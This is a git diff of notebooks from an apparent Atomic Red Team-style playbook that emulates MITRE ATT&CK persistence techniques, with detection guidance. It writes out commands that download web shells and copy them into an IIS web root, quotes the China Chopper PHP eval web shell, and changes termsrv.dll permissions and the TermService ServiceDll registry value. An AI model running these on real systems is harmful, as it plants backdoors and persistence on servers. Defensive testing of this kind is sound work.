https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Web shell must exist on disk at specified location (#{web_shells})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1505.003\\src) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory PathToAtomicsFolder\\T1505.003\\src -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/b.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/tests.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/cmd.aspx\"\n\n```" + "source": "### Atomic Test #1 - Web Shell Written to Disk\nThis test simulates an adversary leveraging Web Shells by simulating the file modification to disk.\nIdea from APTSimulator.\ncmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Web shell must exist on disk at specified location (#{web_shells})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1505.003\\src\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1505.003\\src\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/b.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/tests.jsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx\" -OutFile \"PathToAtomicsFolder\\T1505.003\\src/cmd.aspx\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b3471f5d", + "id": "6ef2c60a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "32241c0b", + "id": "696502fe", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nxcopy /I /Y PathToAtomicsFolder\\T1505.003\\src C:\\inetpub\\wwwroot\n```" + "```command_prompt\nxcopy /I /Y \"PathToAtomicsFolder\\T1505.003\\src\" C:\\inetpub\\wwwroot\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8ce77157", + "id": "7c00d8bc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8b658b25", + "id": "bbed4498", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\inetpub\\wwwroot\\b.jsp /q >nul 2>&1\ndel C:\\inetpub\\wwwroot\\tests.jsp /q >nul 2>&1\ndel C:\\inetpub\\wwwroot\\cmd.aspx /q >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d41a63f", + "id": "c8b9b2c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e1dff50c", + "id": "cb9d4827", "metadata": {}, "source": "## Detection\nWeb shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1505.004.ipynb b/playbook/tactics/persistence/T1505.004.ipynb index f35abbf9..f7ddf001 100644 --- a/playbook/tactics/persistence/T1505.004.ipynb +++ b/playbook/tactics/persistence/T1505.004.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "b8733e8f", + "id": "1477bdad", "metadata": {}, "source": "# T1505.004 - IIS Components\nAdversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)" }, { "cell_type": "markdown", - "id": "9864835c", + "id": "de7bc7d6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d6ca728d", + "id": "80b1167c", "metadata": {}, "source": "### Atomic Test #1 - Install IIS Module using AppCmd.exe\nThe following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using AppCmd.exe.\n[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: IIS must be installed in order to add a module to IIS.\n\n##### Check Prereq Commands:\n```cmd\n$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n\n```\n##### Get Prereq Commands:\n```cmd\nInstall IIS to continue.\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bae78bc3", + "id": "2e427ba7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "82dc4ffc", + "id": "44ba1a2a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "28db4c63", + "id": "f85371ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d4ad6b84", + "id": "251619d5", "metadata": {}, "source": "#### Cleanup: \n```cmd\n%windir%\\system32\\inetsrv\\appcmd.exe uninstall module DefaultDocumentModule_Atomic\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b7e9cc3", + "id": "d5be0324", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ea808b39", + "id": "caeac5b3", "metadata": {}, "source": "### Atomic Test #2 - Install IIS Module using PowerShell Cmdlet New-WebGlobalModule\nThe following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using New-WebGlobalModule.\n[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-webglobalmodule?view=windowsserver2022-ps)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: IIS must be installed in order to add a module to IIS.\n\n##### Check Prereq Commands:\n```powershell\n$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n\n```\n##### Get Prereq Commands:\n```powershell\nInstall IIS to continue.\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ee34307", + "id": "fcefc7c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b1c2f3c0", + "id": "bda71e03", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9869b867", + "id": "f9ce5bc1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dfdcc438", + "id": "2826fae7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-WebGlobalModule -Name DefaultDocumentModule_Atomic\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d4ad90f", + "id": "2f446e8a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1505.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "4e54c1b2", + "id": "ada6fe05", "metadata": {}, "source": "## Detection\nMonitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)" } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1505.005.ipynb b/playbook/tactics/persistence/T1505.005.ipynb index 11efe253..4aa0ed0d 100644 --- a/playbook/tactics/persistence/T1505.005.ipynb +++ b/playbook/tactics/persistence/T1505.005.ipynb @@ -2,19 +2,89 @@ "cells": [ { "cell_type": "markdown", - "id": "0c1913a4", + "id": "876d4b9a", "metadata": {}, "source": "# T1505.005 - Terminal Services DLL\nAdversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created." }, { "cell_type": "markdown", - "id": "6cf04d94", + "id": "3f6c5336", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0b1762b6", + "id": "06fef806", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Simulate Patching termsrv.dll", + "Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.\nBefore we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$termsrvDll = \"C:\\Windows\\System32\\termsrv.dll\"\n\n$ACL = Get-Acl $termsrvDll\n$permission = \"Administrators\",\"FullControl\",\"Allow\"\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\n$ACL.SetAccessRule($accessRule)\nSet-Acl -Path $termsrvDll -AclObject $ACL\n\nCopy-Item -Path \"C:\\Windows\\System32\\termsrv.dll\" -Destination \"C:\\Windows\\System32\\termsrv_backup.dll\" -ErrorAction Ignore\nAdd-Content -Path \"C:\\Windows\\System32\\termsrv.dll\" -Value \"`n\" -NoNewline -ErrorAction Ignore\nMove-Item -Path \"C:\\Windows\\System32\\termsrv_backup.dll\" -Destination \"C:\\Windows\\System32\\termsrv.dll\" -Force -ErrorAction Ignore\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4c75ce98", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1505.005 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "825e07a5", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nMove-Item -Path \"C:\\Windows\\System32\\termsrv_backup.dll\" -Destination \"C:\\Windows\\System32\\termsrv.dll\" -Force -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a344adef", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1505.005 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1f8d3d30", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Modify Terminal Services DLL Path", + "This atomic test simulates the modification of the ServiceDll value in HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters. This technique may be leveraged by adversaries to establish persistence by loading a patched version of the DLL containing malicious code.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$termsrvDll = \"C:\\Windows\\System32\\termsrv.dll\"\n\n$ACL = Get-Acl $termsrvDll\n$permission = \"Administrators\",\"FullControl\",\"Allow\"\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\n$ACL.SetAccessRule($accessRule)\nSet-Acl -Path $termsrvDll -AclObject $ACL\n\nCopy-Item -Path $termsrvDll -Destination \"$HOME\\AtomicTest.dll\"\n\n$newServiceDll = \"$HOME\\AtomicTest.dll\"\n\n$registryPath = \"HKLM:\\System\\CurrentControlSet\\services\\TermService\\Parameters\"\n\n# Check if the registry key exists\nif (Test-Path -Path $registryPath) {\n # Modify the ServiceDll value in the registry\n Set-ItemProperty -Path $registryPath -Name \"ServiceDll\" -Value $newServiceDll\n Write-Host \"ServiceDll value in the registry has been updated to: $newServiceDll\"\n} else {\n Write-Host \"Registry key not found. Make sure the 'TermService\\Parameters' key exists.\"\n}```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "65f99dcf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1505.005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "9b62d2bb", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\services\\TermService\\Parameters\" -Name \"ServiceDll\" -Value \"C:\\Windows\\System32\\termsrv.dll\"```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bae26f7f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1505.005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e960cc60", "metadata": {}, "source": "## Detection\nMonitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\.\n\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\System32\\.\n\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\n\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\System32\\termsrv.dll, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload)." } @@ -22,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1505.ipynb b/playbook/tactics/persistence/T1505.ipynb index 475a9204..c89d7234 100644 --- a/playbook/tactics/persistence/T1505.ipynb +++ b/playbook/tactics/persistence/T1505.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d14464c0", + "id": "f63032d2", "metadata": {}, "source": "# T1505 - Server Software Component\nAdversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)" }, { "cell_type": "markdown", - "id": "4827829f", + "id": "65ea24d6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "eeb0dc03", + "id": "7a61cdb2", "metadata": {}, "source": "## Detection\nConsider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) " }, { "cell_type": "markdown", - "id": "af61b07d", + "id": "cebf517c", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can install decoy services that have extensible capabilities.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1519.ipynb b/playbook/tactics/persistence/T1519.ipynb deleted file mode 100644 index fe24d66f..00000000 --- a/playbook/tactics/persistence/T1519.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9a2f0650", - "metadata": {}, - "source": "# T1519 - Emond\nAdversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service." - }, - { - "cell_type": "markdown", - "id": "0df338ab", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "74804dfd", - "metadata": {}, - "source": "## Detection\nMonitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1525.ipynb b/playbook/tactics/persistence/T1525.ipynb index f81f75b5..6df239c7 100644 --- a/playbook/tactics/persistence/T1525.ipynb +++ b/playbook/tactics/persistence/T1525.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "c29c92fc", + "id": "45effe01", "metadata": {}, "source": "# T1525 - Implant Internal Image\nAdversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)" }, { "cell_type": "markdown", - "id": "49afb435", + "id": "45a98596", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ff40e387", + "id": "2b7eaa8f", "metadata": {}, "source": "## Detection\nMonitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. " }, { "cell_type": "markdown", - "id": "db224317", + "id": "d2cefa71", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can monitor user interactions with images and containers to identify ones that are added or altered anomalously.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1542.001.ipynb b/playbook/tactics/persistence/T1542.001.ipynb index 673a7507..31c9f521 100644 --- a/playbook/tactics/persistence/T1542.001.ipynb +++ b/playbook/tactics/persistence/T1542.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4ea54dad", + "id": "1c513e46", "metadata": {}, "source": "# T1542.001 - System Firmware\nAdversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect." }, { "cell_type": "markdown", - "id": "5000d084", + "id": "00b11a92", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fe5d60b2", + "id": "725c2579", "metadata": {}, "source": "## Detection\nSystem firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1542.002.ipynb b/playbook/tactics/persistence/T1542.002.ipynb index a697d154..2466b7f2 100644 --- a/playbook/tactics/persistence/T1542.002.ipynb +++ b/playbook/tactics/persistence/T1542.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3e2c6e8c", + "id": "4989f834", "metadata": {}, "source": "# T1542.002 - Component Firmware\nAdversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks." }, { "cell_type": "markdown", - "id": "b6d8e63f", + "id": "d46e4dea", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ff97c267", + "id": "d0804fa3", "metadata": {}, "source": "## Detection\nData and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git 